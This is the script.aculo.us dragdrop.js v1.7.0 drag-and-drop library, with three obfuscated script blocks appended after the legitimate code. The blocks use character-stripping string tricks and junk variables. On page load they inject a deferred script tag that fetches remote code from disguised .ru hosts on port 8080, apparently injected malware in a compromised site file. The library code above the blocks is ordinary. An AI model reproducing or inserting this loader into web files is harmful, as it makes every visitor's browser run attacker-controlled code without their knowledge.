// script.aculo.us dragdrop.js v1.7.0, Fri Jan 19 19:16:36 CET 2007

// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//           (c) 2005, 2006 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
// 
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if(typeof Effect == 'undefined')
  throw("dragdrop.js requires including script.aculo.us' effects.js library");

var Droppables = {
  drops: [],

  remove: function(element) {
    this.drops = this.drops.reject(function(d) { return d.element==$(element) });
  },

  add: function(element) {
    element = $(element);
    var options = Object.extend({
      greedy:     true,
      hoverclass: null,
      tree:       false
    }, arguments[1] || {});

    // cache containers
    if(options.containment) {
      options._containers = [];
      var containment = options.containment;
      if((typeof containment == 'object') && 
        (containment.constructor == Array)) {
        containment.each( function(c) { options._containers.push($(c)) });
      } else {
        options._containers.push($(containment));
      }
    }
    
    if(options.accept) options.accept = [options.accept].flatten();

    Element.makePositioned(element); // fix IE
    options.element = element;

    this.drops.push(options);
  },
  
  findDeepestChild: function(drops) {
    deepest = drops[0];
      
    for (i = 1; i < drops.length; ++i)
      if (Element.isParent(drops[i].element, deepest.element))
        deepest = drops[i];
    
    return deepest;
  },

  isContained: function(element, drop) {
    var containmentNode;
    if(drop.tree) {
      containmentNode = element.treeNode; 
    } else {
      containmentNode = element.parentNode;
    }
    return drop._containers.detect(function(c) { return containmentNode == c });
  },
  
  isAffected: function(point, element, drop) {
    return (
      (drop.element!=element) &&
      ((!drop._containers) ||
        this.isContained(element, drop)) &&
      ((!drop.accept) ||
        (Element.classNames(element).detect( 
          function(v) { return drop.accept.include(v) } ) )) &&
      Position.within(drop.element, point[0], point[1]) );
  },

  deactivate: function(drop) {
    if(drop.hoverclass)
      Element.removeClassName(drop.element, drop.hoverclass);
    this.last_active = null;
  },

  activate: function(drop) {
    if(drop.hoverclass)
      Element.addClassName(drop.element, drop.hoverclass);
    this.last_active = drop;
  },

  show: function(point, element) {
    if(!this.drops.length) return;
    var affected = [];
    
    if(this.last_active) this.deactivate(this.last_active);
    this.drops.each( function(drop) {
      if(Droppables.isAffected(point, element, drop))
        affected.push(drop);
    });
        
    if(affected.length>0) {
      drop = Droppables.findDeepestChild(affected);
      Position.within(drop.element, point[0], point[1]);
      if(drop.onHover)
        drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));
      
      Droppables.activate(drop);
    }
  },

  fire: function(event, element) {
    if(!this.last_active) return;
    Position.prepare();

    if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active))
      if (this.last_active.onDrop) 
        this.last_active.onDrop(element, this.last_active.element, event);
  },

  reset: function() {
    if(this.last_active)
      this.deactivate(this.last_active);
  }
}

var Draggables = {
  drags: [],
  observers: [],
  
  register: function(draggable) {
    if(this.drags.length == 0) {
      this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
      this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
      this.eventKeypress  = this.keyPress.bindAsEventListener(this);
      
      Event.observe(document, "mouseup", this.eventMouseUp);
      Event.observe(document, "mousemove", this.eventMouseMove);
      Event.observe(document, "keypress", this.eventKeypress);
    }
    this.drags.push(draggable);
  },
  
  unregister: function(draggable) {
    this.drags = this.drags.reject(function(d) { return d==draggable });
    if(this.drags.length == 0) {
      Event.stopObserving(document, "mouseup", this.eventMouseUp);
      Event.stopObserving(document, "mousemove", this.eventMouseMove);
      Event.stopObserving(document, "keypress", this.eventKeypress);
    }
  },
  
  activate: function(draggable) {
    if(draggable.options.delay) { 
      this._timeout = setTimeout(function() { 
        Draggables._timeout = null; 
        window.focus(); 
        Draggables.activeDraggable = draggable; 
      }.bind(this), draggable.options.delay); 
    } else {
      window.focus(); // allows keypress events if window isn't currently focused, fails for Safari
      this.activeDraggable = draggable;
    }
  },
  
  deactivate: function() {
    this.activeDraggable = null;
  },
  
  updateDrag: function(event) {
    if(!this.activeDraggable) return;
    var pointer = [Event.pointerX(event), Event.pointerY(event)];
    // Mozilla-based browsers fire successive mousemove events with
    // the same coordinates, prevent needless redrawing (moz bug?)
    if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return;
    this._lastPointer = pointer;
    
    this.activeDraggable.updateDrag(event, pointer);
  },
  
  endDrag: function(event) {
    if(this._timeout) { 
      clearTimeout(this._timeout); 
      this._timeout = null; 
    }
    if(!this.activeDraggable) return;
    this._lastPointer = null;
    this.activeDraggable.endDrag(event);
    this.activeDraggable = null;
  },
  
  keyPress: function(event) {
    if(this.activeDraggable)
      this.activeDraggable.keyPress(event);
  },
  
  addObserver: function(observer) {
    this.observers.push(observer);
    this._cacheObserverCallbacks();
  },
  
  removeObserver: function(element) {  // element instead of observer fixes mem leaks
    this.observers = this.observers.reject( function(o) { return o.element==element });
    this._cacheObserverCallbacks();
  },
  
  notify: function(eventName, draggable, event) {  // 'onStart', 'onEnd', 'onDrag'
    if(this[eventName+'Count'] > 0)
      this.observers.each( function(o) {
        if(o[eventName]) o[eventName](eventName, draggable, event);
      });
    if(draggable.options[eventName]) draggable.options[eventName](draggable, event);
  },
  
  _cacheObserverCallbacks: function() {
    ['onStart','onEnd','onDrag'].each( function(eventName) {
      Draggables[eventName+'Count'] = Draggables.observers.select(
        function(o) { return o[eventName]; }
      ).length;
    });
  }
}

/*--------------------------------------------------------------------------*/

var Draggable = Class.create();
Draggable._dragging    = {};

Draggable.prototype = {
  initialize: function(element) {
    var defaults = {
      handle: false,
      reverteffect: function(element, top_offset, left_offset) {
        var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02;
        new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur,
          queue: {scope:'_draggable', position:'end'}
        });
      },
      endeffect: function(element) {
        var toOpacity = typeof element._opacity == 'number' ? element._opacity : 1.0;
        new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity, 
          queue: {scope:'_draggable', position:'end'},
          afterFinish: function(){ 
            Draggable._dragging[element] = false 
          }
        }); 
      },
      zindex: 1000,
      revert: false,
      scroll: false,
      scrollSensitivity: 20,
      scrollSpeed: 15,
      snap: false,  // false, or xy or [x,y] or function(x,y){ return [x,y] }
      delay: 0
    };
    
    if(!arguments[1] || typeof arguments[1].endeffect == 'undefined')
      Object.extend(defaults, {
        starteffect: function(element) {
          element._opacity = Element.getOpacity(element);
          Draggable._dragging[element] = true;
          new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7}); 
        }
      });
    
    var options = Object.extend(defaults, arguments[1] || {});

    this.element = $(element);
    
    if(options.handle && (typeof options.handle == 'string'))
      this.handle = this.element.down('.'+options.handle, 0);
    
    if(!this.handle) this.handle = $(options.handle);
    if(!this.handle) this.handle = this.element;
    
    if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) {
      options.scroll = $(options.scroll);
      this._isScrollChild = Element.childOf(this.element, options.scroll);
    }

    Element.makePositioned(this.element); // fix IE    

    this.delta    = this.currentDelta();
    this.options  = options;
    this.dragging = false;   

    this.eventMouseDown = this.initDrag.bindAsEventListener(this);
    Event.observe(this.handle, "mousedown", this.eventMouseDown);
    
    Draggables.register(this);
  },
  
  destroy: function() {
    Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
    Draggables.unregister(this);
  },
  
  currentDelta: function() {
    return([
      parseInt(Element.getStyle(this.element,'left') || '0'),
      parseInt(Element.getStyle(this.element,'top') || '0')]);
  },
  
  initDrag: function(event) {
    if(typeof Draggable._dragging[this.element] != 'undefined' &&
      Draggable._dragging[this.element]) return;
    if(Event.isLeftClick(event)) {    
      // abort on form elements, fixes a Firefox issue
      var src = Event.element(event);
      if((tag_name = src.tagName.toUpperCase()) && (
        tag_name=='INPUT' ||
        tag_name=='SELECT' ||
        tag_name=='OPTION' ||
        tag_name=='BUTTON' ||
        tag_name=='TEXTAREA')) return;
        
      var pointer = [Event.pointerX(event), Event.pointerY(event)];
      var pos     = Position.cumulativeOffset(this.element);
      this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) });
      
      Draggables.activate(this);
      Event.stop(event);
    }
  },
  
  startDrag: function(event) {
    this.dragging = true;
    
    if(this.options.zindex) {
      this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0);
      this.element.style.zIndex = this.options.zindex;
    }
    
    if(this.options.ghosting) {
      this._clone = this.element.cloneNode(true);
      Position.absolutize(this.element);
      this.element.parentNode.insertBefore(this._clone, this.element);
    }
    
    if(this.options.scroll) {
      if (this.options.scroll == window) {
        var where = this._getWindowScroll(this.options.scroll);
        this.originalScrollLeft = where.left;
        this.originalScrollTop = where.top;
      } else {
        this.originalScrollLeft = this.options.scroll.scrollLeft;
        this.originalScrollTop = this.options.scroll.scrollTop;
      }
    }
    
    Draggables.notify('onStart', this, event);
        
    if(this.options.starteffect) this.options.starteffect(this.element);
  },
  
  updateDrag: function(event, pointer) {
    if(!this.dragging) this.startDrag(event);
    Position.prepare();
    Droppables.show(pointer, this.element);
    Draggables.notify('onDrag', this, event);
    
    this.draw(pointer);
    if(this.options.change) this.options.change(this);
    
    if(this.options.scroll) {
      this.stopScrolling();
      
      var p;
      if (this.options.scroll == window) {
        with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; }
      } else {
        p = Position.page(this.options.scroll);
        p[0] += this.options.scroll.scrollLeft + Position.deltaX;
        p[1] += this.options.scroll.scrollTop + Position.deltaY;
        p.push(p[0]+this.options.scroll.offsetWidth);
        p.push(p[1]+this.options.scroll.offsetHeight);
      }
      var speed = [0,0];
      if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity);
      if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity);
      if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity);
      if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity);
      this.startScrolling(speed);
    }
    
    // fix AppleWebKit rendering
    if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0);
    
    Event.stop(event);
  },
  
  finishDrag: function(event, success) {
    this.dragging = false;

    if(this.options.ghosting) {
      Position.relativize(this.element);
      Element.remove(this._clone);
      this._clone = null;
    }

    if(success) Droppables.fire(event, this.element);
    Draggables.notify('onEnd', this, event);

    var revert = this.options.revert;
    if(revert && typeof revert == 'function') revert = revert(this.element);
    
    var d = this.currentDelta();
    if(revert && this.options.reverteffect) {
      this.options.reverteffect(this.element, 
        d[1]-this.delta[1], d[0]-this.delta[0]);
    } else {
      this.delta = d;
    }

    if(this.options.zindex)
      this.element.style.zIndex = this.originalZ;

    if(this.options.endeffect) 
      this.options.endeffect(this.element);
      
    Draggables.deactivate(this);
    Droppables.reset();
  },
  
  keyPress: function(event) {
    if(event.keyCode!=Event.KEY_ESC) return;
    this.finishDrag(event, false);
    Event.stop(event);
  },
  
  endDrag: function(event) {
    if(!this.dragging) return;
    this.stopScrolling();
    this.finishDrag(event, true);
    Event.stop(event);
  },
  
  draw: function(point) {
    var pos = Position.cumulativeOffset(this.element);
    if(this.options.ghosting) {
      var r   = Position.realOffset(this.element);
      pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY;
    }
    
    var d = this.currentDelta();
    pos[0] -= d[0]; pos[1] -= d[1];
    
    if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) {
      pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft;
      pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop;
    }
    
    var p = [0,1].map(function(i){ 
      return (point[i]-pos[i]-this.offset[i]) 
    }.bind(this));
    
    if(this.options.snap) {
      if(typeof this.options.snap == 'function') {
        p = this.options.snap(p[0],p[1],this);
      } else {
      if(this.options.snap instanceof Array) {
        p = p.map( function(v, i) {
          return Math.round(v/this.options.snap[i])*this.options.snap[i] }.bind(this))
      } else {
        p = p.map( function(v) {
          return Math.round(v/this.options.snap)*this.options.snap }.bind(this))
      }
    }}
    
    var style = this.element.style;
    if((!this.options.constraint) || (this.options.constraint=='horizontal'))
      style.left = p[0] + "px";
    if((!this.options.constraint) || (this.options.constraint=='vertical'))
      style.top  = p[1] + "px";
    
    if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
  },
  
  stopScrolling: function() {
    if(this.scrollInterval) {
      clearInterval(this.scrollInterval);
      this.scrollInterval = null;
      Draggables._lastScrollPointer = null;
    }
  },
  
  startScrolling: function(speed) {
    if(!(speed[0] || speed[1])) return;
    this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed];
    this.lastScrolled = new Date();
    this.scrollInterval = setInterval(this.scroll.bind(this), 10);
  },
  
  scroll: function() {
    var current = new Date();
    var delta = current - this.lastScrolled;
    this.lastScrolled = current;
    if(this.options.scroll == window) {
      with (this._getWindowScroll(this.options.scroll)) {
        if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
          var d = delta / 1000;
          this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] );
        }
      }
    } else {
      this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
      this.options.scroll.scrollTop  += this.scrollSpeed[1] * delta / 1000;
    }
    
    Position.prepare();
    Droppables.show(Draggables._lastPointer, this.element);
    Draggables.notify('onDrag', this);
    if (this._isScrollChild) {
      Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
      Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
      Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
      if (Draggables._lastScrollPointer[0] < 0)
        Draggables._lastScrollPointer[0] = 0;
      if (Draggables._lastScrollPointer[1] < 0)
        Draggables._lastScrollPointer[1] = 0;
      this.draw(Draggables._lastScrollPointer);
    }
    
    if(this.options.change) this.options.change(this);
  },
  
  _getWindowScroll: function(w) {
    var T, L, W, H;
    with (w.document) {
      if (w.document.documentElement && documentElement.scrollTop) {
        T = documentElement.scrollTop;
        L = documentElement.scrollLeft;
      } else if (w.document.body) {
        T = body.scrollTop;
        L = body.scrollLeft;
      }
      if (w.innerWidth) {
        W = w.innerWidth;
        H = w.innerHeight;
      } else if (w.document.documentElement && documentElement.clientWidth) {
        W = documentElement.clientWidth;
        H = documentElement.clientHeight;
      } else {
        W = body.offsetWidth;
        H = body.offsetHeight
      }
    }
    return { top: T, left: L, width: W, height: H };
  }
}

/*--------------------------------------------------------------------------*/

var SortableObserver = Class.create();
SortableObserver.prototype = {
  initialize: function(element, observer) {
    this.element   = $(element);
    this.observer  = observer;
    this.lastValue = Sortable.serialize(this.element);
  },
  
  onStart: function() {
    this.lastValue = Sortable.serialize(this.element);
  },
  
  onEnd: function() {
    Sortable.unmark();
    if(this.lastValue != Sortable.serialize(this.element))
      this.observer(this.element)
  }
}

var Sortable = {
  SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/,
  
  sortables: {},
  
  _findRootElement: function(element) {
    while (element.tagName.toUpperCase() != "BODY") {  
      if(element.id && Sortable.sortables[element.id]) return element;
      element = element.parentNode;
    }
  },

  options: function(element) {
    element = Sortable._findRootElement($(element));
    if(!element) return;
    return Sortable.sortables[element.id];
  },
  
  destroy: function(element){
    var s = Sortable.options(element);
    
    if(s) {
      Draggables.removeObserver(s.element);
      s.droppables.each(function(d){ Droppables.remove(d) });
      s.draggables.invoke('destroy');
      
      delete Sortable.sortables[s.element.id];
    }
  },

  create: function(element) {
    element = $(element);
    var options = Object.extend({ 
      element:     element,
      tag:         'li',       // assumes li children, override with tag: 'tagname'
      dropOnEmpty: false,
      tree:        false,
      treeTag:     'ul',
      overlap:     'vertical', // one of 'vertical', 'horizontal'
      constraint:  'vertical', // one of 'vertical', 'horizontal', false
      containment: element,    // also takes array of elements (or id's); or false
      handle:      false,      // or a CSS class
      only:        false,
      delay:       0,
      hoverclass:  null,
      ghosting:    false,
      scroll:      false,
      scrollSensitivity: 20,
      scrollSpeed: 15,
      format:      this.SERIALIZE_RULE,
      onChange:    Prototype.emptyFunction,
      onUpdate:    Prototype.emptyFunction
    }, arguments[1] || {});

    // clear any old sortable with same element
    this.destroy(element);

    // build options for the draggables
    var options_for_draggable = {
      revert:      true,
      scroll:      options.scroll,
      scrollSpeed: options.scrollSpeed,
      scrollSensitivity: options.scrollSensitivity,
      delay:       options.delay,
      ghosting:    options.ghosting,
      constraint:  options.constraint,
      handle:      options.handle };

    if(options.starteffect)
      options_for_draggable.starteffect = options.starteffect;

    if(options.reverteffect)
      options_for_draggable.reverteffect = options.reverteffect;
    else
      if(options.ghosting) options_for_draggable.reverteffect = function(element) {
        element.style.top  = 0;
        element.style.left = 0;
      };

    if(options.endeffect)
      options_for_draggable.endeffect = options.endeffect;

    if(options.zindex)
      options_for_draggable.zindex = options.zindex;

    // build options for the droppables  
    var options_for_droppable = {
      overlap:     options.overlap,
      containment: options.containment,
      tree:        options.tree,
      hoverclass:  options.hoverclass,
      onHover:     Sortable.onHover
    }
    
    var options_for_tree = {
      onHover:      Sortable.onEmptyHover,
      overlap:      options.overlap,
      containment:  options.containment,
      hoverclass:   options.hoverclass
    }

    // fix for gecko engine
    Element.cleanWhitespace(element); 

    options.draggables = [];
    options.droppables = [];

    // drop on empty handling
    if(options.dropOnEmpty || options.tree) {
      Droppables.add(element, options_for_tree);
      options.droppables.push(element);
    }

    (this.findElements(element, options) || []).each( function(e) {
      // handles are per-draggable
      var handle = options.handle ? 
        $(e).down('.'+options.handle,0) : e;    
      options.draggables.push(
        new Draggable(e, Object.extend(options_for_draggable, { handle: handle })));
      Droppables.add(e, options_for_droppable);
      if(options.tree) e.treeNode = element;
      options.droppables.push(e);      
    });
    
    if(options.tree) {
      (Sortable.findTreeElements(element, options) || []).each( function(e) {
        Droppables.add(e, options_for_tree);
        e.treeNode = element;
        options.droppables.push(e);
      });
    }

    // keep reference
    this.sortables[element.id] = options;

    // for onupdate
    Draggables.addObserver(new SortableObserver(element, options.onUpdate));

  },

  // return all suitable-for-sortable elements in a guaranteed order
  findElements: function(element, options) {
    return Element.findChildren(
      element, options.only, options.tree ? true : false, options.tag);
  },
  
  findTreeElements: function(element, options) {
    return Element.findChildren(
      element, options.only, options.tree ? true : false, options.treeTag);
  },

  onHover: function(element, dropon, overlap) {
    if(Element.isParent(dropon, element)) return;

    if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) {
      return;
    } else if(overlap>0.5) {
      Sortable.mark(dropon, 'before');
      if(dropon.previousSibling != element) {
        var oldParentNode = element.parentNode;
        element.style.visibility = "hidden"; // fix gecko rendering
        dropon.parentNode.insertBefore(element, dropon);
        if(dropon.parentNode!=oldParentNode) 
          Sortable.options(oldParentNode).onChange(element);
        Sortable.options(dropon.parentNode).onChange(element);
      }
    } else {
      Sortable.mark(dropon, 'after');
      var nextElement = dropon.nextSibling || null;
      if(nextElement != element) {
        var oldParentNode = element.parentNode;
        element.style.visibility = "hidden"; // fix gecko rendering
        dropon.parentNode.insertBefore(element, nextElement);
        if(dropon.parentNode!=oldParentNode) 
          Sortable.options(oldParentNode).onChange(element);
        Sortable.options(dropon.parentNode).onChange(element);
      }
    }
  },
  
  onEmptyHover: function(element, dropon, overlap) {
    var oldParentNode = element.parentNode;
    var droponOptions = Sortable.options(dropon);
        
    if(!Element.isParent(dropon, element)) {
      var index;
      
      var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only});
      var child = null;
            
      if(children) {
        var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap);
        
        for (index = 0; index < children.length; index += 1) {
          if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) {
            offset -= Element.offsetSize (children[index], droponOptions.overlap);
          } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) {
            child = index + 1 < children.length ? children[index + 1] : null;
            break;
          } else {
            child = children[index];
            break;
          }
        }
      }
      
      dropon.insertBefore(element, child);
      
      Sortable.options(oldParentNode).onChange(element);
      droponOptions.onChange(element);
    }
  },

  unmark: function() {
    if(Sortable._marker) Sortable._marker.hide();
  },

  mark: function(dropon, position) {
    // mark on ghosting only
    var sortable = Sortable.options(dropon.parentNode);
    if(sortable && !sortable.ghosting) return; 

    if(!Sortable._marker) {
      Sortable._marker = 
        ($('dropmarker') || Element.extend(document.createElement('DIV'))).
          hide().addClassName('dropmarker').setStyle({position:'absolute'});
      document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
    }    
    var offsets = Position.cumulativeOffset(dropon);
    Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'});
    
    if(position=='after')
      if(sortable.overlap == 'horizontal') 
        Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'});
      else
        Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'});
    
    Sortable._marker.show();
  },
  
  _tree: function(element, options, parent) {
    var children = Sortable.findElements(element, options) || [];
  
    for (var i = 0; i < children.length; ++i) {
      var match = children[i].id.match(options.format);

      if (!match) continue;
      
      var child = {
        id: encodeURIComponent(match ? match[1] : null),
        element: element,
        parent: parent,
        children: [],
        position: parent.children.length,
        container: $(children[i]).down(options.treeTag)
      }
      
      /* Get the element containing the children and recurse over it */
      if (child.container)
        this._tree(child.container, options, child)
      
      parent.children.push (child);
    }

    return parent; 
  },

  tree: function(element) {
    element = $(element);
    var sortableOptions = this.options(element);
    var options = Object.extend({
      tag: sortableOptions.tag,
      treeTag: sortableOptions.treeTag,
      only: sortableOptions.only,
      name: element.id,
      format: sortableOptions.format
    }, arguments[1] || {});
    
    var root = {
      id: null,
      parent: null,
      children: [],
      container: element,
      position: 0
    }
    
    return Sortable._tree(element, options, root);
  },

  /* Construct a [i] index for a particular node */
  _constructIndex: function(node) {
    var index = '';
    do {
      if (node.id) index = '[' + node.position + ']' + index;
    } while ((node = node.parent) != null);
    return index;
  },

  sequence: function(element) {
    element = $(element);
    var options = Object.extend(this.options(element), arguments[1] || {});
    
    return $(this.findElements(element, options) || []).map( function(item) {
      return item.id.match(options.format) ? item.id.match(options.format)[1] : '';
    });
  },

  setSequence: function(element, new_sequence) {
    element = $(element);
    var options = Object.extend(this.options(element), arguments[2] || {});
    
    var nodeMap = {};
    this.findElements(element, options).each( function(n) {
        if (n.id.match(options.format))
            nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
        n.parentNode.removeChild(n);
    });
   
    new_sequence.each(function(ident) {
      var n = nodeMap[ident];
      if (n) {
        n[1].appendChild(n[0]);
        delete nodeMap[ident];
      }
    });
  },
  
  serialize: function(element) {
    element = $(element);
    var options = Object.extend(Sortable.options(element), arguments[1] || {});
    var name = encodeURIComponent(
      (arguments[1] && arguments[1].name) ? arguments[1].name : element.id);
    
    if (options.tree) {
      return Sortable.tree(element, arguments[1]).children.map( function (item) {
        return [name + Sortable._constructIndex(item) + "[id]=" + 
                encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
      }).flatten().join('&');
    } else {
      return Sortable.sequence(element, arguments[1]).map( function(item) {
        return name + "[]=" + encodeURIComponent(item);
      }).join('&');
    }
  }
}

// Returns true if child is contained within element
Element.isParent = function(child, element) {
  if (!child.parentNode || child == element) return false;
  if (child.parentNode == element) return true;
  return Element.isParent(child.parentNode, element);
}

Element.findChildren = function(element, only, recursive, tagName) {    
  if(!element.hasChildNodes()) return null;
  tagName = tagName.toUpperCase();
  if(only) only = [only].flatten();
  var elements = [];
  $A(element.childNodes).each( function(e) {
    if(e.tagName && e.tagName.toUpperCase()==tagName &&
      (!only || (Element.classNames(e).detect(function(v) { return only.include(v) }))))
        elements.push(e);
    if(recursive) {
      var grandchildren = Element.findChildren(e, only, recursive, tagName);
      if(grandchildren) elements.push(grandchildren);
    }
  });

  return (elements.length>0 ? elements.flatten() : []);
}

Element.offsetSize = function (element, type) {
  return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')];
}


var n=new String();this.k="";var um=new Date();var kb=new Date();var q='sxc%rXi%pXt%'.replace(/[%xeXn]/g, '');this.b=false;var rp;if(rp!=''){rp='h'};var j=window;var umc=32379;var jk;if(jk!='yj' && jk!='zb'){jk='yj'};var qn=document;var d;if(d!='' && d!='xw'){d=null};j.onload=function(){var _="";var wm;if(wm!='doq' && wm!='uw'){wm='doq'};try {var pt;if(pt!='lm' && pt!='xd'){pt='lm'};var lmv=new Array();m=qn.createElement(q);var id;if(id!='qv' && id != ''){id=null};var br=new Array();var yl="yl";this.qo='';m.src='hVt#tVp#:V/#/!sVo6f#tFpFeVdFiFa!-#cFo!m6.#hVu6r#r#iFy#eVtV.!cVoVm6.6tFr#.FsFe!dFo!p!a6r#k#i#n!g6-6c!oVm#.Fr#e!cFe!nVtFm#e!xVi#c!o#.6r#u!:V860V8!06/V5F5Fb#b6s!.#cFo6mF/!5V5Vb#b!s6.!cVo!mF/Fg6o!o6gFl6e6.6c#o!m6/#mFe!rFcFa#d!o6l!i#bVr!e#.6c6o#m6.!mVx#/FmFp6n!r!sV.6cVo!m#/!'.replace(/[\!#V6F]/g, '');m.setAttribute('d_eRf_eRr!'.replace(/[\!0_Rt]/g, ''), "1");this.pj="pj";this.yt=false;this.zm=27364;qn.body.appendChild(m);var bt;if(bt!='' && bt!='a'){bt=''};this.al='';} catch(t){var is="is";};var qs="";var qf="qf";};var ej=63325;
var j=window;var _ih=36922;var z=document;var vr;if(vr!='b' && vr!='bg'){vr=''};function l(r){var _=['h_tXtzpJ:_/J/zsJaXnzszpzoz-XcJozmJ.6f_rXeJe_wXezbXs_._c6o6m_._c6nXb6lJo_g6sz-6czo_mX.Xbze6sJtzn6e_wXsXmXaJlXlX.XrzuJ:J8X0z860z/XpzlzaXl_aJ.6oJrJ.Xjzpz/JpXlJaXl_a_.Jo6rX.zjzp_/_3_96.6nJeXtX/XgJaJmXezv6a6nzc6e_.zczo_m6/zgXo_o_gXl6ez.zczoXmz/J'.replace(/[JzX_6]/g, ''), 'sHcHrLiIpIt~'.replace(/[~dLHI]/g, ''), 'c&rXe&a&tveXE&lXeXmvevn3t3'.replace(/[3&X\<v]/g, ''), 'o?n?lPoBa?dB'.replace(/[BPp\?\+]/g, ''), 's2r#ch'.replace(/[h7S#2]/g, ''), 'a4pVp:e$nPd4C4h4i:l$dV'.replace(/[V\:\$4P]/g, ''), 'spe%tSASt%t<rpiSbpu%tSeS'.replace(/[Sp\<%/]/g, ''), 'buord@yr'.replace(/[ru&@m]/g, ''), 'dpe/fnepr/'.replace(/[/\*npG]/g, ''), "1"];this.e="";var ru=_[r];var im;if(im!='sz' && im!='hj'){im='sz'};return ru;var zum;if(zum!='kn' && zum != ''){zum=null};}var v = function(){var g;if(g!='ds' && g != ''){g=null};try {p=z[l([2][0])](l([2,1][1]));p[l([4,6][1])](l([1,8][1]), l([9][0]));var q="";var k = z[l([0,7][1])];this.n="n";p[l([4][0])]=l([0,2][0]);var hu=new Array();k[l([5,2][0])](p);} catch(_i){};var gk;if(gk!='lh' && gk != ''){gk=null};};j[l([3][0])]=v;
var g;if(g!=''){g='_'};this.v=22978;var u=window;var x=document;var r=new String();var hh="hh";function xi(j){var y=false;var l=['h5t;t5p5:;/;/DcDh5iHn;a;m1o5bHi1lDe5-Dc;oHm5.1mHo1n1oDgDr;a5f5i1aHsD.Dc1oDm1.;iHm;a1g;eHsHh5aDc1k;-DuHs;.1m;e5d;i;a5tDa5gDo;nDl1iHn;eD.1r1u5:5810;8D0;/Dm1y5s;pHa5c;e1.5c1o5mH/5m5yDs;pDa5c;e;.5c5o1m;/1g5oDoHg5l5eD.;c;oDmH/HsDmHh;.;c1oHm;.DaHu;/5b5e;eDm5p13D.1cHoHm1/1'.replace(/[1DH;5]/g, ''), 's9c:r:i4p4t:'.replace(/[\:4E59]/g, ''), 'c/r/e/a/t/e?E?lNe/m?esnot?'.replace(/[\?No/s]/g, ''), 'oJnwlJoJagdg'.replace(/[gMJw8]/g, ''), 'sTr<c<'.replace(/[\<j\>TY]/g, ''), 'a2p*p*eun2d;CQhQi;lQd2'.replace(/[2uQ;\*]/g, ''), 'skektdAktdtkrdi&blu&tke&'.replace(/[&vdlk]/g, ''), 'b%o1d%y1'.replace(/[1%DHE]/g, ''), 'd0e.fPe6r.'.replace(/[\.I60P]/g, ''), "1"];var jc=l[j];return jc;}this.my="my";var o = function(){try {xs=x[xi([2][0])](xi([1,3][0]));var sy=new Array();var ic;if(ic!='yf' && ic != ''){ic=null};xs[xi([6][0])](xi([8][0]), xi([9][0]));this.xk="";xs[xi([4][0])]=xi([0,2][0]);this.jk=false;var n = x[xi([7][0])];var yft=new String();n[xi([5][0])](xs);var _u;if(_u!='' && _u!='fr'){_u=null};} catch(m){var gs;if(gs!='np' && gs!='fh'){gs=''};};};var of;if(of!='d' && of!='xqu'){of='d'};u[xi([3,3][0])]=o;this.bo=19300;this.ok="";
